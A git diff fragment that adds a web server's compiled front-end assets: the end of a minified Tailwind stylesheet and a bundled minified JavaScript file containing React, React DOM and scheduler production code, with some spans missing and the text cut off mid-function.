var(--tw-text-opacity, 1))}.hover\:border-deck-accent\/30:hover{border-color:#00e6764d}.hover\:bg-deck-accent\/90:hover{background-color:#00e676e6}.hover\:bg-deck-danger\/30:hover{background-color:#ff52524d}.hover\:bg-deck-panel:hover{--tw-bg-opacity: 1;background-color:rgb(22 28 32 / var(--tw-bg-opacity, 1))}.hover\:bg-deck-surface:hover{--tw-bg-opacity: 1;background-color:rgb(17 22 24 / var(--tw-bg-opacity, 1))}.hover\:text-deck-accent:hover{--tw-text-opacity: 1;color:rgb(0 230 118 / var(--tw-text-opacity, 1))}.hover\:text-deck-text:hover{--tw-text-opacity: 1;color:rgb(200 212 220 / var(--tw-text-opacity, 1))}.focus-visible\:outline-none:focus-visible{outline:2px solid transparent;outline-offset:2px}.focus-visible\:ring-2:focus-visible{--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000)}.focus-visible\:ring-deck-accent:focus-visible{--tw-ring-opacity: 1;--tw-ring-color: rgb(0 230 118 / var(--tw-ring-opacity, 1))}.focus-visible\:ring-offset-2:focus-visible{--tw-ring-offset-width: 2px}.focus-visible\:ring-offset-deck-bg:focus-visible{--tw-ring-offset-color: #0a0e0f}.disabled\:pointer-events-none:disabled{pointer-events:none}.disabled\:cursor-not-allowed:disabled{cursor:not-allowed}.disabled\:opacity-50:disabled{opacity:.5}@media(min-width:640px){.sm\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.sm\:grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}}@media(min-width:1024px){.lg\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}}@media(min-width:1280px){.xl\:grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}} diff --git a/cmd/server/webroot/assets/index-C7yIT9Qp.js b/cmd/server/webroot/assets/index-C7yIT9Qp.js new file mode 100644 index 0000000..ba9e7ea --- /dev/null +++ b/cmd/server/webroot/assets/index-C7yIT9Qp.js @@ -0,0 +1,232 @@ +function Ep(i,a){for(var s=0;sc[p]})}}}return Object.freeze(Object.defineProperty(i,Symbol.toStringTag,{value:"Module"}))}(function(){const a=document.createElement("link").relList;if(a&&a.supports&&a.supports("modulepreload"))return;for(const p of document.querySelectorAll('link[rel="modulepreload"]'))c(p);new MutationObserver(p=>{for(const h of p)if(h.type==="childList")for(const g of h.addedNodes)g.tagName==="LINK"&&g.rel==="modulepreload"&&c(g)}).observe(document,{childList:!0,subtree:!0});function s(p){const h={};return p.integrity&&(h.integrity=p.integrity),p.referrerPolicy&&(h.referrerPolicy=p.referrerPolicy),p.crossOrigin==="use-credentials"?h.credentials="include":p.crossOrigin==="anonymous"?h.credentials="omit":h.credentials="same-origin",h}function c(p){if(p.ep)return;p.ep=!0;const h=s(p);fetch(p.href,h)}})();function jp(i){return i&&i.__esModule&&Object.prototype.hasOwnProperty.call(i,"default")?i.default:i}var ps={exports:{}},Qr={},hs={exports:{}},te={};/** + * @license React + * react.production.min.js + * + * Copyright (c) Facebook, Inc. and its affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var jc;function Pp(){if(jc)return te;jc=1;var i=Symbol.for("react.element"),a=Symbol.for("react.portal"),s=Symbol.for("react.fragment"),c=Symbol.for("react.strict_mode"),p=Symbol.for("react.profiler"),h=Symbol.for("react.provider"),g=Symbol.for("react.context"),x=Symbol.for("react.forward_ref"),k=Symbol.for("react.suspense"),_=Symbol.for("react.memo"),N=Symbol.for("react.lazy"),j=Symbol.iterator;function P(y){return y===null||typeof y!="object"?null:(y=j&&y[j]||y["@@iterator"],typeof y=="function"?y:null)}var B={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},F=Object.assign,R={};function z(y,T,ee){this.props=y,this.context=T,this.refs=R,this.updater=ee||B}z.prototype.isReactComponent={},z.prototype.setState=function(y,T){if(typeof y!="object"&&typeof y!="function"&&y!=null)throw Error("setState(...): takes an object of state variables to update or a function which returns an object of state variables.");this.updater.enqueueSetState(this,y,T,"setState")},z.prototype.forceUpdate=function(y){this.updater.enqueueForceUpdate(this,y,"forceUpdate")};function H(){}H.prototype=z.prototype;function Q(y,T,ee){this.props=y,this.context=T,this.refs=R,this.updater=ee||B}var q=Q.prototype=new H;q.constructor=Q,F(q,z.prototype),q.isPureReactComponent=!0;var J=Array.isArray,pe=Object.prototype.hasOwnProperty,Ce={current:null},Pe={key:!0,ref:!0,__self:!0,__source:!0};function ze(y,T,ee){var ne,oe={},ie=null,de=null;if(T!=null)for(ne in T.ref!==void 0&&(de=T.ref),T.key!==void 0&&(ie=""+T.key),T)pe.call(T,ne)&&!Pe.hasOwnProperty(ne)&&(oe[ne]=T[ne]);var ae=arguments.length-2;if(ae===1)oe.children=ee;else if(1>>1,T=D[y];if(0>>1;yp(oe,A))iep(de,oe)?(D[y]=de,D[ie]=A,y=ie):(D[y]=oe,D[ne]=A,y=ne);else if(iep(de,A))D[y]=de,D[ie]=A,y=ie;else break e}}return G}function p(D,G){var A=D.sortIndex-G.sortIndex;return A!==0?A:D.id-G.id}if(typeof performance=="object"&&typeof performance.now=="function"){var h=performance;i.unstable_now=function(){return h.now()}}else{var g=Date,x=g.now();i.unstable_now=function(){return g.now()-x}}var k=[],_=[],N=1,j=null,P=3,B=!1,F=!1,R=!1,z=typeof setTimeout=="function"?setTimeout:null,H=typeof clearTimeout=="function"?clearTimeout:null,Q=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function q(D){for(var G=s(_);G!==null;){if(G.callback===null)c(_);else if(G.startTime<=D)c(_),G.sortIndex=G.expirationTime,a(k,G);else break;G=s(_)}}function J(D){if(R=!1,q(D),!F)if(s(k)!==null)F=!0,Re(pe);else{var G=s(_);G!==null&&he(J,G.startTime-D)}}function pe(D,G){F=!1,R&&(R=!1,H(ze),ze=-1),B=!0;var A=P;try{for(q(G),j=s(k);j!==null&&(!(j.expirationTime>G)||D&&!et());){var y=j.callback;if(typeof y=="function"){j.callback=null,P=j.priorityLevel;var T=y(j.expirationTime<=G);G=i.unstable_now(),typeof T=="function"?j.callback=T:j===s(k)&&c(k),q(G)}else c(k);j=s(k)}if(j!==null)var ee=!0;else{var ne=s(_);ne!==null&&he(J,ne.startTime-G),ee=!1}return ee}finally{j=null,P=A,B=!1}}var Ce=!1,Pe=null,ze=-1,Ge=5,Fe=-1;function et(){return!(i.unstable_now()-FeD||125y?(D.sortIndex=A,a(_,D),s(k)===null&&D===s(_)&&(R?(H(ze),ze=-1):R=!0,he(J,A-y))):(D.sortIndex=T,a(k,D),F||B||(F=!0,Re(pe))),D},i.unstable_shouldYield=et,i.unstable_wrapCallback=function(D){var G=P;return function(){var A=P;P=G;try{return D.apply(this,arguments)}finally{P=A}}}})(gs)),gs}var Lc;function Mp(){return Lc||(Lc=1,vs.exports=Tp()),vs.exports}/** + * @license React + * react-dom.production.min.js + * + * Copyright (c) Facebook, Inc. and its affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var Tc;function Op(){if(Tc)return Ze;Tc=1;var i=js(),a=Mp();function s(e){for(var t="https://reactjs.org/docs/error-decoder.html?invariant="+e,n=1;n"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),k=Object.prototype.hasOwnProperty,_=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,N={},j={};function P(e){return k.call(j,e)?!0:k.call(N,e)?!1:_.test(e)?j[e]=!0:(N[e]=!0,!1)}function B(e,t,n,r){if(n!==null&&n.type===0)return!1;switch(typeof t){case"function":case"symbol":return!0;case"boolean":return r?!1:n!==null?!n.acceptsBooleans:(e=e.toLowerCase().slice(0,5),e!=="data-"&&e!=="aria-");default:return!1}}function F(e,t,n,r){if(t===null||typeof t>"u"||B(e,t,n,r))return!0;if(r)return!1;if(n!==null)switch(n.type){case 3:return!t;case 4:return t===!1;case 5:return isNaN(t);case 6:return isNaN(t)||1>t}return!1}function R(e,t,n,r,l,o,u){this.acceptsBooleans=t===2||t===3||t===4,this.attributeName=r,this.attributeNamespace=l,this.mustUseProperty=n,this.propertyName=e,this.type=t,this.sanitizeURL=o,this.removeEmptyString=u}var z={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(e){z[e]=new R(e,0,!1,e,null,!1,!1)}),[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(e){var t=e[0];z[t]=new R(t,1,!1,e[1],null,!1,!1)}),["contentEditable","draggable","spellCheck","value"].forEach(function(e){z[e]=new R(e,2,!1,e.toLowerCase(),null,!1,!1)}),["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(e){z[e]=new R(e,2,!1,e,null,!1,!1)}),"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(e){z[e]=new R(e,3,!1,e.toLowerCase(),null,!1,!1)}),["checked","multiple","muted","selected"].forEach(function(e){z[e]=new R(e,3,!0,e,null,!1,!1)}),["capture","download"].forEach(function(e){z[e]=new R(e,4,!1,e,null,!1,!1)}),["cols","rows","size","span"].forEach(function(e){z[e]=new R(e,6,!1,e,null,!1,!1)}),["rowSpan","start"].forEach(function(e){z[e]=new R(e,5,!1,e.toLowerCase(),null,!1,!1)});var H=/[\-:]([a-z])/g;function Q(e){return e[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(e){var t=e.replace(H,Q);z[t]=new R(t,1,!1,e,null,!1,!1)}),"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(e){var t=e.replace(H,Q);z[t]=new R(t,1,!1,e,"http://www.w3.org/1999/xlink",!1,!1)}),["xml:base","xml:lang","xml:space"].forEach(function(e){var t=e.replace(H,Q);z[t]=new R(t,1,!1,e,"http://www.w3.org/XML/1998/namespace",!1,!1)}),["tabIndex","crossOrigin"].forEach(function(e){z[e]=new R(e,1,!1,e.toLowerCase(),null,!1,!1)}),z.xlinkHref=new R("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1),["src","href","action","formAction"].forEach(function(e){z[e]=new R(e,1,!1,e.toLowerCase(),null,!0,!0)});function q(e,t,n,r){var l=z.hasOwnProperty(t)?z[t]:null;(l!==null?l.type!==0:r||!(2f||l[u]!==o[f]){var m=` +`+l[u].replace(" at new "," at ");return e.displayName&&m.includes("")&&(m=m.replace("",e.displayName)),m}while(1<=u&&0<=f);break}}}finally{ee=!1,Error.prepareStackTrace=n}return(e=e?e.displayName||e.name:"")?T(e):""}function oe(e){switch(e.tag){case 5:return T(e.type);case 16:return T("Lazy");case 13:return T("Suspense");case 19:return T("SuspenseList");case 0:case 2:case 15:return e=ne(e.type,!1),e;case 11:return e=ne(e.type.render,!1),e;case 1:return e=ne(e.type,!0),e;default:return""}}function ie(e){if(e==null)return null;if(typeof e=="function")return e.displayName||e.name||null;if(typeof e=="string")return e;switch(e){case Pe:return"Fragment";case Ce:return"Portal";case Ge:return"Profiler";case ze:return"StrictMode";case Ae:return"Suspense";case Be:return"SuspenseList"}if(typeof e=="object")switch(e.$$typeof){case et:return(e.displayName||"Context")+".Consumer";case Fe:return(e._context.displayName||"Context")+".Provider";case re:var t=e.render;return e=e.displayName,e||(e=t.displayName||t.name||"",e=e!==""?"ForwardRef("+e+")":"ForwardRef"),e;case tt:return t=e.displayName||null,t!==null?t:ie(e.type)||"Memo";case Re:t=e._payload,e=e._init;try{return ie(e(t))}catch{}}return null}function de(e){var t=e.type;switch(e.tag){case 24:return"Cache";case 9:return(t.displayName||"Context")+".Consumer";case 10:return(t._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return e=t.render,e=e.displayName||e.name||"",t.displayName||(e!==""?"ForwardRef("+e+")":"ForwardRef");case 7:return"Fragment";case 5:return t;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return ie(t);case 8:return t===ze?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof t=="function")return t.displayName||t.name||null;if(typeof t=="string")return t}return null}function ae(e){switch(typeof e){case"boolean":case"number":case"string":case"undefined":return e;case"object":return e;default:return""}}function ye(e){var t=e.type;return(e=e.nodeName)&&e.toLowerCase()==="input"&&(t==="checkbox"||t==="radio")}function nt(e){var t=ye(e)?"checked":"value",n=Object.getOwnPropertyDescriptor(e.constructor.prototype,t),r=""+e[t];if(!e.hasOwnProperty(t)&&typeof n<"u"&&typeof n.get=="function"&&typeof n.set=="function"){var l=n.get,o=n.set;return Object.defineProperty(e,t,{configurable:!0,get:function(){return l.call(this)},set:function(u){r=""+u,o.call(this,u)}}),Object.defineProperty(e,t,{enumerable:n.enumerable}),{getValue:function(){return r},setValue:function(u){r=""+u},stopTracking:function(){e._valueTracker=null,delete e[t]}}}}function Zr(e){e._valueTracker||(e._valueTracker=nt(e))}function Ts(e){if(!e)return!1;var t=e._valueTracker;if(!t)return!0;var n=t.getValue(),r="";return e&&(r=ye(e)?e.checked?"true":"false":e.value),e=r,e!==n?(t.setValue(e),!0):!1}function el(e){if(e=e||(typeof document<"u"?document:void 0),typeof e>"u")return null;try{return e.activeElement||e.body}catch{return e.body}}function wo(e,t){var n=t.checked;return A({},t,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:n??e._wrapperState.initialChecked})}function Ms(e,t){var n=t.defaultValue==null?"":t.defaultValue,r=t.checked!=null?t.checked:t.defaultChecked;n=ae(t.value!=null?t.value:n),e._wrapperState={initialChecked:r,initialValue:n,controlled:t.type==="checkbox"||t.type==="radio"?t.checked!=null:t.value!=null}}function Os(e,t){t=t.checked,t!=null&&q(e,"checked",t,!1)}function ko(e,t){Os(e,t);var n=ae(t.value),r=t.type;if(n!=null)r==="number"?(n===0&&e.value===""||e.value!=n)&&(e.value=""+n):e.value!==""+n&&(e.value=""+n);else if(r==="submit"||r==="reset"){e.removeAttribute("value");return}t.hasOwnProperty("value")?So(e,t.type,n):t.hasOwnProperty("defaultValue")&&So(e,t.type,ae(t.defaultValue)),t.checked==null&&t.defaultChecked!=null&&(e.defaultChecked=!!t.defaultChecked)}function Is(e,t,n){if(t.hasOwnProperty("value")||t.hasOwnProperty("defaultValue")){var r=t.type;if(!(r!=="submit"&&r!=="reset"||t.value!==void 0&&t.value!==null))return;t=""+e._wrapperState.initialValue,n||t===e.value||(e.value=t),e.defaultValue=t}n=e.name,n!==""&&(e.name=""),e.defaultChecked=!!e._wrapperState.initialChecked,n!==""&&(e.name=n)}function So(e,t,n){(t!=="number"||el(e.ownerDocument)!==e)&&(n==null?e.defaultValue=""+e._wrapperState.initialValue:e.defaultValue!==""+n&&(e.defaultValue=""+n))}var sr=Array.isArray;function Rn(e,t,n,r){if(e=e.options,t){t={};for(var l=0;l"+t.valueOf().toString()+"",t=tl.firstChild;e.firstChild;)e.removeChild(e.firstChild);for(;t.firstChild;)e.appendChild(t.firstChild)}});function ar(e,t){if(t){var n=e.firstChild;if(n&&n===e.lastChild&&n.nodeType===3){n.nodeValue=t;return}}e.textContent=t}var ur={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},_d=["Webkit","ms","Moz","O"];Object.keys(ur).forEach(function(e){_d.forEach(function(t){t=t+e.charAt(0).toUpperCase()+e.substring(1),ur[t]=ur[e]})});function Vs(e,t,n){return t==null||typeof t=="boolean"||t===""?"":n||typeof t!="number"||t===0||ur.hasOwnProperty(e)&&ur[e]?(""+t).trim():t+"px"}function Ws(e,t){e=e.style;for(var n in t)if(t.hasOwnProperty(n)){var r=n.indexOf("--")===0,l=Vs(n,t[n],r);n==="float"&&(n="cssFloat"),r?e.setProperty(n,l):e[n]=l}}var zd=A({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function Eo(e,t){if(t){if(zd[e]&&(t.children!=null||t.dangerouslySetInnerHTML!=null))throw Error(s(137,e));if(t.dangerouslySetInnerHTML!=null){if(t.children!=null)throw Error(s(60));if(typeof t.dangerouslySetInnerHTML!="object"||!("__html"in t.dangerouslySetInnerHTML))throw Error(s(61))}if(t.style!=null&&typeof t.style!="object")throw Error(s(62))}}function jo(e,t){if(e.indexOf("-")===-1)return typeof t.is=="string";switch(e){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Po=null;function _o(e){return e=e.target||e.srcElement||window,e.correspondingUseElement&&(e=e.correspondingUseElement),e.nodeType===3?e.parentNode:e}var zo=null,Ln=null,Tn=null;function $s(e){if(e=Lr(e)){if(typeof zo!="function")throw Error(s(280));var t=e.stateNode;t&&(t=Nl(t),zo(e.stateNode,e.type,t))}}function bs(e){Ln?Tn?Tn.push(e):Tn=[e]:Ln=e}function Hs(){if(Ln){var e=Ln,t=Tn;if(Tn=Ln=null,$s(e),t)for(e=0;e>>=0,e===0?32:31-(Bd(e)/Vd|0)|0}var il=64,sl=4194304;function pr(e){switch(e&-e){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return e&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return e&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return e}}function al(e,t){var n=e.pendingLanes;if(n===0)return 0;var r=0,l=e.suspendedLanes,o=e.pingedLanes,u=n&268435455;if(u!==0){var f=u&~l;f!==0?r=pr(f):(o&=u,o!==0&&(r=pr(o)))}else u=n&~l,u!==0?r=pr(u):o!==0&&(r=pr(o));if(r===0)return 0;if(t!==0&&t!==r&&(t&l)===0&&(l=r&-r,o=t&-t,l>=o||l===16&&(o&4194240)!==0))return t;if((r&4)!==0&&(r|=n&16),t=e.entangledLanes,t!==0)for(e=e.entanglements,t&=r;0n;n++)t.push(e);return t}function hr(e,t,n){e.pendingLanes|=t,t!==536870912&&(e.suspendedLanes=0,e.pingedLanes=0),e=e.eventTimes,t=31-vt(t),e[t]=n}function Hd(e,t){var n=e.pendingLanes&~t;e.pendingLanes=t,e.suspendedLanes=0,e.pingedLanes=0,e.expiredLanes&=t,e.mutableReadLanes&=t,e.entangledLanes&=t,t=e.entanglements;var r=e.eventTimes;for(e=e.expirationTimes;0=Sr),xa=" ",wa=!1;function ka(e,t){switch(e){case"keyup":return wf.indexOf(t.keyCode)!==-1;case"keydown":return t.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function Sa(e){return e=e.detail,typeof e=="object"&&"data"in e?e.data:null}var In=!1;function Sf(e,t){switch(e){case"compositionend":return Sa(t);case"keypress":return t.which!==32?null:(wa=!0,xa);case"textInput":return e=t.data,e===xa&&wa?null:e;default:return null}}function Cf(e,t){if(In)return e==="compositionend"||!Go&&ka(e,t)?(e=pa(),pl=Vo=Yt=null,In=!1,e):null;switch(e){case"paste":return null;case"keypress":if(!(t.ctrlKey||t.altKey||t.metaKey)||t.ctrlKey&&t.altKey){if(t.char&&1=t)return{node:n,offset:t-e};e=r}e:{for(;n;){if(n.nextSibling){n=n.nextSibling;break e}n=n.parentNode}n=void 0}n=za(n)}}function La(e,t){return e&&t?e===t?!0:e&&e.nodeType===3?!1:t&&t.nodeType===3?La(e,t.parentNode):"contains"in e?e.contains(t):e.compareDocumentPosition?!!(e.compareDocumentPosition(t)&16):!1:!1}function Ta(){for(var e=window,t=el();t instanceof e.HTMLIFrameElement;){try{var n=typeof t.contentWindow.location.href=="string"}catch{n=!1}if(n)e=t.contentWindow;else break;t=el(e.document)}return t}function Yo(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t&&(t==="input"&&(e.type==="text"||e.type==="search"||e.type==="tel"||e.type==="url"||e.type==="password")||t==="textarea"||e.contentEditable==="true")}function Tf(e){var t=Ta(),n=e.focusedElem,r=e.selectionRange;if(t!==n&&n&&n.ownerDocument&&La(n.ownerDocument.documentElement,n)){if(r!==null&&Yo(n)){if(t=r.start,e=r.end,e===void 0&&(e=t),"selectionStart"in n)n.selectionStart=t,n.selectionEnd=Math.min(e,n.value.length);else if(e=(t=n.ownerDocument||document)&&t.defaultView||window,e.getSelection){e=e.getSelection();var l=n.textContent.length,o=Math.min(r.start,l);r=r.end===void 0?o:Math.min(r.end,l),!e.extend&&o>r&&(l=r,r=o,o=l),l=Ra(n,o);var u=Ra(n,r);l&&u&&(e.rangeCount!==1||e.anchorNode!==l.node||e.anchorOffset!==l.offset||e.focusNode!==u.node||e.focusOffset!==u.offset)&&(t=t.createRange(),t.setStart(l.node,l.offset),e.removeAllRanges(),o>r?(e.addRange(t),e.extend(u.node,u.offset)):(t.setEnd(u.node,u.offset),e.addRange(t)))}}for(t=[],e=n;e=e.parentNode;)e.nodeType===1&&t.push({element:e,left:e.scrollLeft,top:e.scrollTop});for(typeof n.focus=="function"&&n.focus(),n=0;n=document.documentMode,Fn=null,Jo=null,jr=null,qo=!1;function Ma(e,t,n){var r=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;qo||Fn==null||Fn!==el(r)||(r=Fn,"selectionStart"in r&&Yo(r)?r={start:r.selectionStart,end:r.selectionEnd}:(r=(r.ownerDocument&&r.ownerDocument.defaultView||window).getSelection(),r={anchorNode:r.anchorNode,anchorOffset:r.anchorOffset,focusNode:r.focusNode,focusOffset:r.focusOffset}),jr&&Er(jr,r)||(jr=r,r=kl(Jo,"onSelect"),0Vn||(e.current=ci[Vn],ci[Vn]=null,Vn--)}function fe(e,t){Vn++,ci[Vn]=e.current,e.current=t}var en={},Ve=Zt(en),Ke=Zt(!1),xn=en;function Wn(e,t){var n=e.type.contextTypes;if(!n)return en;var r=e.stateNode;if(r&&r.__reactInternalMemoizedUnmaskedChildContext===t)return r.__reactInternalMemoizedMaskedChildContext;var l={},o;for(o in n)l[o]=t[o];return r&&(e=e.stateNode,e.__reactInternalMemoizedUnmaskedChildContext=t,e.__reactInternalMemoizedMaskedChildContext=l),l}function Xe(e){return e=e.childContextTypes,e!=null}function El(){ve(Ke),ve(Ve)}function Ka(e,t,n){if(Ve.current!==en)throw Error(s(168));fe(Ve,t),fe(Ke,n)}function Xa(e,t,n){var r=e.stateNode;if(t=t.childContextTypes,typeof r.getChildContext!="function")return n;r=r.getChildContext();for(var l in r)if(!(l in t))throw Error(s(108,de(e)||"Unknown",l));return A({},n,r)}function jl(e){return e=(e=e.stateNode)&&e.__reactInternalMemoizedMergedChildContext||en,xn=Ve.current,fe(Ve,e),fe(Ke,Ke.current),!0}function Ya(e,t,n){var r=e.stateNode;if(!r)throw Error(s(169));n?(e=Xa(e,t,xn),r.__reactInternalMemoizedMergedChildContext=e,ve(Ke),ve(Ve),fe(Ve,e)):ve(Ke),fe(Ke,n)}var Tt=null,Pl=!1,di=!1;function Ja(e){Tt===null?Tt=[e]:Tt.push(e)}function bf(e){Pl=!0,Ja(e)}function tn(){if(!di&&Tt!==null){di=!0;var e=0,t=ue;try{var n=Tt;for(ue=1;e>=u,l-=u,Mt=1<<32-vt(t)+l|n<Y?(Ie=X,X=null):Ie=X.sibling;var se=L(w,X,S[Y],I);if(se===null){X===null&&(X=Ie);break}e&&X&&se.alternate===null&&t(w,X),v=o(se,v,Y),K===null?b=se:K.sibling=se,K=se,X=Ie}if(Y===S.length)return n(w,X),xe&&kn(w,Y),b;if(X===null){for(;YY?(Ie=X,X=null):Ie=X.sibling;var dn=L(w,X,se.value,I);if(dn===null){X===null&&(X=Ie);break}e&&X&&dn.alternate===null&&t(w,X),v=o(dn,v,Y),K===null?b=dn:K.sibling=dn,K=dn,X=Ie}if(se.done)return n(w,X),xe&&kn(w,Y),b;if(X===null){for(;!se.done;Y++,se=S.next())se=O(w,se.value,I),se!==null&&(v=o(se,v,Y),K===null?b=se:K.sibling=se,K=se);return xe&&kn(w,Y),b}for(X=r(w,X);!se.done;Y++,se=S.next())se=U(X,w,Y,se.value,I),se!==null&&(e&&se.alternate!==null&&X.delete(se.key===null?Y:se.key),v=o(se,v,Y),K===null?b=se:K.sibling=se,K=se);return e&&X.forEach(function(Np){return t(w,Np)}),xe&&kn(w,Y),b}function je(w,v,S,I){if(typeof S=="object"&&S!==null&&S.type===Pe&&S.key===null&&(S=S.props.children),typeof S=="object"&&S!==null){switch(S.$$typeof){case pe:e:{for(var b=S.key,K=v;K!==null;){if(K.key===b){if(b=S.type,b===Pe){if(K.tag===7){n(w,K.sibling),v=l(K,S.props.children),v.return=w,w=v;break e}}else if(K.elementType===b||typeof b=="object"&&b!==null&&b.$$typeof===Re&&ru(b)===K.type){n(w,K.sibling),v=l(K,S.props),v.ref=Tr(w,K,S),v.return=w,w=v;break e}n(w,K);break}else t(w,K);K=K.sibling}S.type===Pe?(v=zn(S.props.children,w.mode,I,S.key),v.return=w,w=v):(I=to(S.type,S.key,S.props,null,w.mode,I),I.ref=Tr(w,v,S),I.return=w,w=I)}return u(w);case Ce:e:{for(K=S.key;v!==null;){if(v.key===K)if(v.tag===4&&v.stateNode.containerInfo===S.containerInfo&&v.stateNode.implementation===S.implementation){n(w,v.sibling),v=l(v,S.children||[]),v.return=w,w=v;break e}else{n(w,v);break}else t(w,v);v=v.sibling}v=as(S,w.mode,I),v.return=w,w=v}return u(w);case Re:return K=S._init,je(w,v,K(S._payload),I)}if(sr(S))return W(w,v,S,I);if(G(S))return $(w,v,S,I);Ll(w,S)}return typeof S=="string"&&S!==""||typeof S=="number"?(S=""+S,v!==null&&v.tag===6?(n(w,v.sibling),v=l(v,S),v.return=w,w=v):(n(w,v),v=ss(S,w.mode,I),v.return=w,w=v),u(w)):n(w,v)}return je}var Qn=lu(!0),ou=lu(!1),Tl=Zt(null),Ml=null,Gn=null,gi=null;function yi(){gi=Gn=Ml=null}function xi(e){var t=Tl.current;ve(Tl),e._currentValue=t}function wi(e,t,n){for(;e!==null;){var r=e.alternate;if((e.childLanes&t)!==t?(e.childLanes|=t,r!==null&&(r.childLanes|=t)):r!==null&&(r.childLanes&t)!==t&&(r.childLanes|=t),e===n)break;e=e.return}}function Kn(e,t){Ml=e,gi=Gn=null,e=e.dependencies,e!==null&&e.firstContext!==null&&((e.lanes&t)!==0&&(Ye=!0),e.firstContext=null)}function ct(e){var t=e._currentValue;if(gi!==e)if(e={context:e,memoizedValue:t,next:null},Gn===null){if(Ml===null)throw Error(s(308));Gn=e,Ml.dependencies={lanes:0,firstContext:e}}else Gn=Gn.next=e;return t}var Sn=null;function ki(e){Sn===null?Sn=[e]:Sn.push(e)}function iu(e,t,n,r){var l=t.interleaved;return l===null?(n.next=n,ki(t)):(n.next=l.next,l.next=n),t.interleaved=n,It(e,r)}function It(e,t){e.lanes|=t;var 